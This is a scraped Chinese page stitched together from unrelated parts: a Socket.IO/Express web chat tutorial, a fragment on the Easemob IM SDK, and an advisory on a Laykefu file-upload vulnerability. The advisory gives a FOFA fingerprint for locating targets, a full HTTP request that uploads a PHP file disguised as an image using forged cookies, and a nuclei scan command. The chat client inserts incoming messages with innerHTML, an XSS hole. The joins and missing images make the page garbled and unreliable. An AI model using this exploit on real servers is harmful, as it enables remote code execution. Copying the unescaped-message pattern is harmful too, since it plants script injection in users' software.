202年了,QQ、微信等聊天工具已經非常成熟,一般的情況下沒有必要去創建一個IM應用了。現在的開源技術,通過一些簡單快速的開發即可實現一款Web IM,可以適用于多客服系統、內部溝通平臺等等。
C:\Users\chen3>node -v
v10.16.3
D:\code>mkdir webim
npm init
npm install --save socket.io express
npm install --save-dev @babel/core @babel/cli @babel/preset-env @babel/node
"start": "babel-node index.js"
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.3.0/socket.io.js"></script>
<h1 id="ucount"></h1>
<div id="msgs"></div>
<input type="text" id="text" />
<script>
var socket=io.connect("/msg");
var msgs=$("msgs");
function $(id) {
return document.getElementById(id);
}
// 收到消息時,將消息輸出到頁面上
socket.on("message", function(data) {
msgs.innerHTML +=data + "<br />";
});
// 在線人數變化時更新界面
socket.on("online", function(u) {
$("ucount").innerHTML="當前" + u.ucount + "人在線";
});
$("text").addEventListener("keyup", function(e) {
// 輸入回車時,發送給服務器
if (e.keyCode===13) {
var t=$("text").value;
socket.emit("message", t, function() {
msgs.innerHTML +=t + "<br />";
});
$("text").value="";
}
});
</script>
import http from "http";
import path from "path";
import express from "express";
import socketIO from "socket.io";
const app=express();
const server=http.Server(app);
app.set("views", path.join(__dirname, "views"));
app.set("view engine", "jade");
app.use(express.json());
// 頁面模板
app.get("/", function(_req, res) {
res.sendFile(__dirname + "/index.html");
});
initWebIM(app, server, "/msg");
server.listen(8080);
let userCount=0;
const users={};
const noop=()=> {};
function initWebIM(app, server, endpoint) {
const io=socketIO(server);
io.of(endpoint).on("connection", function(socket) {
// 連接時,記錄用戶
setUser(socket.id, {
sid: socket.id,
socket: socket
});
// 廣播新用戶上線/用戶數變化
// 廣播:發給除了當前socket之外的所有socket
socket.broadcast.emit("online", {
ucount: userCount
});
// 當前用戶返回
socket.emit("online", {
ucount: userCount
});
// 服務端收到消息時,廣播給大家
socket.on("message", function(data, callback) {
callback=callback || noop;
socket.broadcast.emit("message", data);
// 回調,發送者更新界面
callback();
});
// 下線群發通知
socket.on("disconnect", function() {
unsetUser(socket.id);
socket.broadcast.emit("online", {
ucount: userCount
});
});
});
}
function setUser(socketId, info) {
var isNew=false;
if (!users[socketId]) {
users[socketId]={};
userCount++;
isNew=true;
}
Object.assign(users[socketId], info);
return isNew;
}
function unsetUser(socketId) {
if (users[socketId]) {
delete users[socketId];
userCount--;
}
}
至此,就實現了一個最簡單的一個多人在線web對話的程序。
很明顯,作為一個聊天工具,還缺少很多的功能或者模塊,距離完整的系統相當遙遠,比如
如果大家有興趣,可以留言,我會在后續內容中考慮。
里實現 網頁--網頁 的及時聊天以及 網頁--手機端 的及時聊天。
先上效果圖。
首先這里使用的是環信的sdk,當然手機端(android和ios)同樣也是使用的環信的sdk。聊天數據沒有存儲在自己的服務器。只在手機端做了緩存。只有頭像是獲取自己服務器的數據,別的都是環信處理。頭像為用戶id作為路徑。如(http://api.XXXX.com/uploads/person/911117.jpg),昵稱在用戶注冊時候傳遞給環信保存。
首先下載環信sdk 地址 http://www.easemob.com/download/im 。將下載好了的文件移動到項目Public下。
這里我們需要修改的是demo文件下的javascript/dist/demo-1.4.10.js文件,具體修改的內容就是用戶以及好友等的頭像和昵稱。改的地方比較多,大多是形如下圖這樣的
然后就是在模型中將用戶信息傳遞給前臺js去處理,別的就不用管了。給個參考
前臺頁面的js部分
好了就是這么簡單,在網頁端demo中實現了文字圖片語音,文件的發送接收,以及視頻的接收。
Laykefu 是一款基于workerman+gatawayworker+thinkphp5搭建的全功能webim客服系統,旨在幫助企業有效管理和提供優質的客戶服務
Laykefu客服系統/admin/users/upavatar.html接口處存在文件上傳漏洞
fofa語法:icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/2
Host:
Cookie: user_name=1; user_id=3
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Content-Length: 198
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
<?php echo 13579; ?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
.\nuclei -l 1.txt -t 1.yaml
1、請聯系廠商進行修復。
2、如非必要,禁止公網訪問該系統。
3、設置白名單訪問。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。